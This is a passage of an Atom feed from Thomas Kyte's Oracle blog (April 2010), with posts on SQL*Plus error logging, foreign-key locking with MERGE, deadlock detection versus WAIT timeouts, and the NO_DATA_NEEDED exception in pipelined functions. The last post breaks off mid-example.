title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7105124157178699873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7105124157178699873'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/that-old-restart-problem-again.html' title='That old restart problem again...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8244699591718695069</id><published>2010-04-24T13:47:00.002-04:00</published><updated>2010-04-24T13:50:19.223-04:00</updated><title type='text'>Did you know...</title><content type='html'>It is Saturday (ok, you probably knew that) so I'll do something non-Oracle.  Did you know - &lt;a href="http://www.todayifoundout.com/index.php/2010/04/carrots-used-to-be-purple-before-the-17th-century/"&gt;carrots aren't really supposed to be orange&lt;/a&gt;?  They should be purple.  And they are if you grow a few generations of the Orange ones (they revert back to their natural state). &lt;br /&gt;&lt;br /&gt;So, much like the yellow, easy to peel bananas we enjoy - Orange carrots are a product of "us".&lt;br /&gt;&lt;br /&gt;I wonder what Bugs Bunny would have to say about that...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8244699591718695069?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8244699591718695069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8244699591718695069' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8244699591718695069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8244699591718695069'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/did-you-know.html' title='Did you know...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-9090106248959578921</id><published>2010-04-23T15:24:00.002-04:00</published><updated>2010-04-23T15:38:23.361-04:00</updated><title type='text'>A new thing about sql*plus</title><content type='html'>What I learned today was - a new feature in the venerable old tool SQL*Plus.&lt;br /&gt;&lt;br /&gt;I was asked about trapping the SP2 errors in SQL*Plus, those you get when you have a bad SQL*Plus command - like this:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA11GR2&gt; selct * from dual;&lt;br /&gt;SP2-0734: unknown command beginning "selct * fr..." - rest of line ignored.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In that case - neither of the SQL*Plus error handling bits:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;OSERROR&lt;br /&gt;SQLERROR&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;will work for you - it is not an OS error like "unable to open spool file", it is not a SQL error - selct is not SQL, it never got to the SQL layer.    that SP2 error is uncatchable.  And I wrote as much.&lt;br /&gt;&lt;br /&gt;Things change - my answer is dead on correct, for version 10gR2 and before (hey, the question was from someone using 10gR2 - so technically, I was correct ;) ).  It is not technically true in 11g and above.&lt;br /&gt;&lt;br /&gt;SQL*Plus in 11g added an "error logging" facility.  A session may issue:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;SQL&gt; set errorlogging on&lt;/pre&gt;&lt;br /&gt;and have any SQL, OS or SP2 errors logged into a logging table, similar to DML error logging.  Additionally - you can have your errors tagged with an identifier, making it easy to find your error records.  So, you can now check (using SQL) at various points in time to see if you've hit an error - or your program that runs sqlplus and runs a script can check to see if any errors occurred in your session easily.&lt;br /&gt;&lt;br /&gt;thanks to &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:2585508000346564837#2588592100346978697"&gt;Enrique Aviles&lt;/a&gt; for pointing it out and thanks to &lt;a href="http://www.oracle.com/technology/pub/articles/oracle-database-11g-top-features/11g-misc.html"&gt;Arup Nanda for writing it up&lt;/a&gt; (ctl-f for SQL*Plus Error Logging on that page).&lt;br /&gt;&lt;br /&gt;Note that you need the 11g SQL*Plus, not just an 11g database with an old sqlplus connected to it!  This is a feature of SQL*Plus.&lt;br /&gt;&lt;br /&gt;On the flipside though, this means it is available for older database releases!  You can connect to 9i with 11g SQL*plus and use this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[tkyte@dellpe ~]$ sqlplus scott/tiger@ora9ir2&lt;br /&gt;&lt;br /&gt;SQL*Plus: Release 11.2.0.1.0 Production on Fri Apr 23 15:36:51 2010&lt;br /&gt;&lt;br /&gt;Copyright (c) 1982, 2009, Oracle.  All rights reserved.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connected to:&lt;br /&gt;Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production&lt;br /&gt;With the Partitioning, OLAP and Oracle Data Mining options&lt;br /&gt;JServer Release 9.2.0.8.0 - Production&lt;br /&gt;&lt;br /&gt;scott%ORA9IR2&gt; set errorlogging on&lt;br /&gt;scott%ORA9IR2&gt; selct * from dual;&lt;br /&gt;SP2-0734: unknown command beginning "selct * fr..." - rest of line ignored.&lt;br /&gt;scott%ORA9IR2&gt; select timestamp, username, script, statement, message&lt;br /&gt; 2  from sperrorlog;&lt;br /&gt;&lt;br /&gt;TIMESTAMP&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;USERNAME&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;SCRIPT&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;STATEMENT&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;MESSAGE&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;23-APR-10 03.37.02.000000 PM&lt;br /&gt;SCOTT&lt;br /&gt;&lt;br /&gt;selct * from dual;&lt;br /&gt;SP2-0734: unknown command beginning "selct * fr..." - rest of line ignored.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-9090106248959578921?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/9090106248959578921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=9090106248959578921' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/9090106248959578921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/9090106248959578921'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/new-thing-about-sqlplus.html' title='A new thing about sql*plus'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6360094410921217434</id><published>2010-04-21T10:39:00.006-04:00</published><updated>2010-04-21T11:21:14.152-04:00</updated><title type='text'>Something I recently unlearned...</title><content type='html'>This is how many of the things I learn everyday come into being.  They are actually things I have to "unlearn" because what used to be true has changed over time.&lt;br /&gt;&lt;br /&gt;Once upon a time ago - I remember the day I learned this, it was during a benchmark in 1993, I learned that &lt;span style="font-weight: bold; font-style: italic;"&gt;UNINDEXED foreign keys &lt;/span&gt;had some locking implications.  Specifically if you:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;update the parent primary key (which does happen, some 'frameworks' update every column even if the value did not change)&lt;/li&gt;&lt;li&gt;delete from parent&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Then you should probably &lt;span style="font-weight: bold; font-style: italic;"&gt;index the foreign key&lt;/span&gt; in the child table - else there will be a full table lock placed on the child table - for the duration of the transaction.&lt;br /&gt;&lt;br /&gt;Then Oracle 9i was released and I had to relearn the rule.  The rule in 9i was as above still - just modified as to the duration of the lock (many people think the restriction actually went away  - but it &lt;span style="font-style: italic;"&gt;did not, it was changed).  &lt;/span&gt;In 9i and above, if you update the parent or delete from the parent with an unindexed foreign key - the child table is still locked - just for the duration of the update or delete!  The lock is released after the statement processed - not when you commit.  This was "better", but the lock still exists.&lt;br /&gt;&lt;br /&gt;Sometime during 9i - I learned yet another modification to the rule above.  The rule in 9i now has to include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;if you merge into the parent table&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;in addition to update and delete.  As I was getting ready to add that to the 2nd Edition of Expert Oracle Database Architecture - I learned something new, the rule has changed again.  The MERGE doesn't &lt;span style="font-style: italic;"&gt;always &lt;/span&gt;lock the table anymore in 11g Release 1 and above - so we are back to just update and delete (sort of!).&lt;br /&gt;&lt;br /&gt;Here is the small test case you can use to verify - the set up is:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA9IR2&gt; create table p ( x int primary key, y int );&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; insert into p values ( 1, null );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; insert into p values ( 2, null );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; create table c ( x references p );&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; create or replace&lt;br /&gt;procedure modify_p( p_what in varchar2 )&lt;br /&gt;2  as&lt;br /&gt;3      pragma autonomous_transaction;&lt;br /&gt;4      deadlock exception;&lt;br /&gt;5      pragma exception_init( deadlock, -60 );&lt;br /&gt;6  begin&lt;br /&gt;7      if ( p_what = 'DELETE' ) then delete from p where x = 2;&lt;br /&gt;8      elsif ( p_what = 'UPDATE' ) then update p set x = 2 where x = 2;&lt;br /&gt;9      elsif ( p_what = 'MERGE' ) then&lt;br /&gt;10          merge into p using (select 2 x, 42 y from dual) d&lt;br /&gt;11          on (p.x=d.x)&lt;br /&gt;12          when matched then update set y = d.y&lt;br /&gt;13          when not matched then insert(x,y) values (d.x,d.y);&lt;br /&gt;14      end if;&lt;br /&gt;15      rollback;&lt;br /&gt;16      dbms_output.put_line( p_what || ': successful...' );&lt;br /&gt;17  exception&lt;br /&gt;18      when deadlock then&lt;br /&gt;19          dbms_output.put_line( p_what ||&lt;br /&gt;         ': we deadlocked, we needed full table lock');&lt;br /&gt;20          rollback;&lt;br /&gt;21  end;&lt;br /&gt;22  /&lt;br /&gt;Procedure created.&lt;br /&gt;&lt;/pre&gt;So, a parent table with two rows - 1 and 2.  An empty child table with an unindexed foreign key.  A stored procedure that runs as an autonomous transaction - so it cannot share the locks of the parent transaction, if the parent transaction has anything locked - the autonomous_transaction will NOT be able to also lock it.  The autonomous transaction attempts to either&lt;br /&gt;&lt;ul&gt;&lt;li&gt;delete row X=2 from parent&lt;/li&gt;&lt;li&gt;update row X=2 in parent&lt;/li&gt;&lt;li&gt;merge into row x=2 in parent using when matched then update, when not matched then insert&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;and if it deadlocks - prints out a message telling us that and rolls back.  If successful, prints out a message telling us that and likewise rolls back.&lt;br /&gt;&lt;br /&gt;To test, we just insert into the child table a record that points to row x=1 in parent (we'll never touch that row in the parent table)  and then try the three DML opertions:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA9IR2&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; exec modify_p( 'DELETE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DELETE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; exec modify_p( 'UPDATE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; exec modify_p( 'MERGE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MERGE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA9IR2&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;There you go, you can see it deadlocked on all three - they all needed to lock the child table before doing their work.&lt;br /&gt;&lt;br /&gt;If you run that in 10gr1 and 10gr2 - you'll see the same results - all three lock.  However, starting in 11g Release 1 - you'll see this:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA11GR1&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec modify_p( 'DELETE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DELETE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec modify_p( 'UPDATE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; insert into c values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec modify_p( 'MERGE' );&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;MERGE: successful...&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; rollback;&lt;br /&gt;Rollback complete.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;That merge&lt;/span&gt; no longer locks the child table.  Curious as to this change - I wanted to see if it was official or not and found bug 5970280 - from which I learned that it was officially changed and that some of you running 10.2 might see a different result for this test case (the fix was backported and is available for 10.2).&lt;br /&gt;&lt;br /&gt;The fix is more complex than appears (aren't they always?)  It is not just "turn off lock for MERGE", it is "analyze the merge and&lt;br /&gt;&lt;ul&gt;&lt;li&gt;if the merge just inserts - treat as an insert&lt;/li&gt;&lt;li&gt;if merge does an update or update and insert (and we are NOT updating the primary key!) treat as an update to non-primary key columns&lt;/li&gt;&lt;li&gt;if merge does an update or update and insert (and we &lt;span style="font-style: italic;"&gt;are&lt;/span&gt; updating the primary key) &lt;span style="font-weight: bold;"&gt;lock child table&lt;/span&gt;&lt;/li&gt;&lt;li&gt;if merge includes a delete - treat as a delete and &lt;span style="font-weight: bold;"&gt;lock child table&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;So, if your merge was:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;10          merge into p using (select 2 x, 42 y from dual) d&lt;br /&gt;11          on &lt;span style="font-weight: bold;"&gt;(p.y&lt;/span&gt;=d.x)&lt;br /&gt;12          when matched then update &lt;span style="font-weight: bold;"&gt;set x = d.x&lt;/span&gt;&lt;br /&gt;13          when not matched then insert(x,y) values (d.x,d.y);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;then you would see:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec modify_p( 'MERGE' );&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MERGE: we deadlocked, we needed full table lock&lt;/span&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;or if your merge included a possible delete branch, you would see the same.&lt;br /&gt;&lt;br /&gt;So, I guess the rule in 11gR1 and above is, if you&lt;br /&gt;&lt;ul&gt;&lt;li&gt;update parent primary key&lt;/li&gt;&lt;li&gt;delete from parent&lt;/li&gt;&lt;li&gt;use a merge that does either of the above&lt;/li&gt;&lt;/ul&gt;and you have an unindexed foreign key - you should expect a full table lock on the child table.  If you index that foreign key - no untoward locking will take place.&lt;br /&gt;&lt;br /&gt;Things change over time :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6360094410921217434?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6360094410921217434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6360094410921217434' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6360094410921217434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6360094410921217434'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/something-i-recently-unlearned.html' title='Something I recently unlearned...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2864279016948619760</id><published>2010-04-20T13:23:00.005-04:00</published><updated>2010-04-20T13:38:46.519-04:00</updated><title type='text'>What will happen if...</title><content type='html'>So, something else I learned recently...&lt;br /&gt;&lt;br /&gt;Say you have a table T:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA10GR2&gt; create table t ( x int );&lt;br /&gt;Table created.&lt;br /&gt;ops$tkyte%ORA10GR2&gt; insert into t values ( 1 );&lt;br /&gt;1 row created.&lt;br /&gt;ops$tkyte%ORA10GR2&gt; commit;&lt;br /&gt;Commit complete.&lt;br /&gt;&lt;/pre&gt;and you update a row in that table:&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA10GR2&gt; update t set x = x+1;&lt;br /&gt;1 row updated.&lt;br /&gt;&lt;/pre&gt;and using an evil autonomous transaction you try to lock that row (in the same session, but a new transaction - one that cannot 'see' the effects of the parent transaction)&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA10GR2&gt; declare&lt;br /&gt;2          pragma autonomous_transaction;&lt;br /&gt;3          l_rec  t%rowtype;&lt;br /&gt;4  begin&lt;br /&gt;5          select * into l_rec from t for update wait 5;&lt;br /&gt;6          commit;&lt;br /&gt;7  end;&lt;br /&gt;8  /&lt;br /&gt;declare&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-30006: resource busy; acquire with WAIT timeout expired&lt;br /&gt;ORA-06512: at line 5&lt;br /&gt;&lt;/pre&gt;So far, it all seems normal.  You asked to wait for 5 seconds, you did - and you time out.  But, what happens if you wait longer?&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA10GR2&gt; declare&lt;br /&gt;2          pragma autonomous_transaction;&lt;br /&gt;3          l_rec  t%rowtype;&lt;br /&gt;4  begin&lt;br /&gt;5          select * into l_rec from t for update wait 6;&lt;br /&gt;6          commit;&lt;br /&gt;7  end;&lt;br /&gt;8  /&lt;br /&gt;declare&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;??????????????????????????????????&lt;br /&gt;&lt;/pre&gt;What error are you expecting that time - hint, it is not ORA-30006 it is&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA10GR2&gt; declare&lt;br /&gt;2          pragma autonomous_transaction;&lt;br /&gt;3          l_rec  t%rowtype;&lt;br /&gt;4  begin&lt;br /&gt;5          select * into l_rec from t for update wait 6;&lt;br /&gt;6          commit;&lt;br /&gt;7  end;&lt;br /&gt;8  /&lt;br /&gt;declare&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-00060: deadlock detected while waiting for resource&lt;br /&gt;ORA-06512: at line 5&lt;br /&gt;&lt;/pre&gt;apparently the self deadlock code kicks in before the timeout happens and the deadlock detection code doesn't see the "we will eventually time out"&lt;br /&gt;&lt;br /&gt;And yes, this applies to multi-session cases as well - run this script to see that:&lt;br /&gt;&lt;pre&gt;drop table t;&lt;br /&gt;set echo on&lt;br /&gt;create table t ( x int );&lt;br /&gt;insert into t values ( 1 );&lt;br /&gt;insert into t values ( 2 );&lt;br /&gt;commit;&lt;br /&gt;select * from t where x = 1 for update;&lt;br /&gt;set echo off&lt;br /&gt;prompt in another session issue:&lt;br /&gt;prompt select * from t where x = 2 for update;;&lt;br /&gt;pause&lt;br /&gt;prompt in another session issue:&lt;br /&gt;prompt select * from t where x = 1 for update wait 10;;&lt;br /&gt;set echo on&lt;br /&gt;select * from t where x = 2 for update;&lt;br /&gt;&lt;/pre&gt;It will deadlock one of the sessions - without waiting for the "wait" timeout.&lt;br /&gt;&lt;br /&gt;So, deadlock detection trumps a waiting period.  If the waiting period expires before the deadlock routines kick in - you get the ora-30006, if the deadlock routines kick in before the timeout - you get ora-60.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2864279016948619760?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2864279016948619760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2864279016948619760' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2864279016948619760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2864279016948619760'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/what-will-happen-if.html' title='What will happen if...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3082092302846617038</id><published>2010-04-19T11:06:00.003-04:00</published><updated>2010-04-19T11:16:40.781-04:00</updated><title type='text'>NO_DATA_NEEDED - something I learned recently</title><content type='html'>I'll be writing about this in Oracle Magazine shortly as part of the asktom column - but thought I'd mention it here too.&lt;br /&gt;&lt;br /&gt;Recently on &lt;a href="http://asktom.oracle.com/"&gt;asktom.oracle.com&lt;/a&gt;, I was asked a question about the pre-defined exception &lt;span style="font-weight: bold;"&gt;NO_DATA_NEEDED&lt;/span&gt;.  At first I thought that is was a typo – they really meant NO_DATA_FOUND – since I hadn’t heard of or read about that exception.  But in looking a little deeper, I discovered what it was.&lt;br /&gt;&lt;br /&gt;If you ever write a pipelined function - there is a good chance you need to be aware of it.  Don't go searching for it in the documentation (it will be there in the next dot release - but it isn't there yet), you won't find it.  Don't google for it - you won't find much about it yet.  But it is something we've needed, probably knew we needed, just never thought about it.&lt;br /&gt;&lt;br /&gt;What if you have a pipelined function that does something like:&lt;br /&gt;&lt;br /&gt;a) open file&lt;br /&gt;b) read line - pipe row&lt;br /&gt;c) when no more data, close file and return&lt;br /&gt;&lt;br /&gt;It works perfectly - if you read all records from the file.  However, if you call it from a query such as:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;&lt;br /&gt;select * from table(pipelined_function( '/tmp/foo.dat' )) where rownum = 1;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What happens - what happens if there was zero records in /tmp/foo.dat to read? one record? More than one record?&lt;br /&gt;&lt;br /&gt;Well, "it depends".  In all likelihood - if there was one or more records - you would leave a file handle open - and if you called this function over and over, you would leak an open file each time and eventually run out of file handles.  So, you would have an error that would "sometimes happen" and "sometimes not happen".  In other words - one of those strange non-reproducible bugs that only happens when it rains on a Tuesday after midnight but before 8am.&lt;br /&gt;&lt;br /&gt;Enter NO_DATA_NEEDED - an exception that doesn't behave like any other exception.  An exception that is raised - but does not cause failure.  An exception that can be caught, but if it isn't - everything is still OK.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Say you have code like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace function&lt;br /&gt;foo( inputs ... )&lt;br /&gt;return some_type&lt;br /&gt;PIPELINED&lt;br /&gt;as&lt;br /&gt;  /* declaration */&lt;br /&gt;begin&lt;br /&gt;  /* initialization */&lt;br /&gt;&lt;br /&gt;  /* process a loop */&lt;br /&gt;      pipe row(i);&lt;br /&gt;  end loop;&lt;br /&gt;&lt;br /&gt;  /* clean up */&lt;br /&gt;  return;&lt;br /&gt;end;&lt;br /&gt;/&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The clean up code would execute and do the right thing if you exit the loop - but not so if you just stopped calling this function.  The NO_DATA_NEEDED exception is there for just such a case.  Here is a concrete example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; create or replace function&lt;br /&gt; 2  generate_data( n in number )&lt;br /&gt; 3  return sys.odciNumberList&lt;br /&gt; 4  PIPELINED&lt;br /&gt; 5  as&lt;br /&gt; 6  begin&lt;br /&gt; 7      dbms_output.put_line&lt;br /&gt; 8      ( '===&gt;&gt;&gt; INITIALIZE' );&lt;br /&gt; 9      for i in 1..generate_data.n&lt;br /&gt;10      loop&lt;br /&gt;11          dbms_output.put_line&lt;br /&gt;12          ( '===&gt;&gt;&gt; PROCESS' );&lt;br /&gt;13          pipe row(i);&lt;br /&gt;14      end loop;&lt;br /&gt;15      dbms_output.put_line&lt;br /&gt;16      ( '===&gt;&gt;&gt; CLEAN UP' );&lt;br /&gt;17      return;&lt;br /&gt;18  end;&lt;br /&gt;19  /&lt;br /&gt;&lt;br /&gt;Function created.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;That is a pretty straightforward PL/SQL pipelined function – if we run it to completion – we would see this output:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; select *&lt;br /&gt; 2    from table(generate_data(2));&lt;br /&gt;&lt;br /&gt;COLUMN_VALUE&lt;br /&gt;------------&lt;br /&gt;          1&lt;br /&gt;          2&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; INITIALIZE&lt;br /&gt;===&gt;&gt;&gt; PROCESS&lt;br /&gt;===&gt;&gt;&gt; PROCESS&lt;br /&gt;===&gt;&gt;&gt; CLEAN UP&lt;br /&gt;SQL&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Which is what we expect – but what if we don’t fetch two rows from that function, what if we only fetch one?&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; select *&lt;br /&gt; 2    from 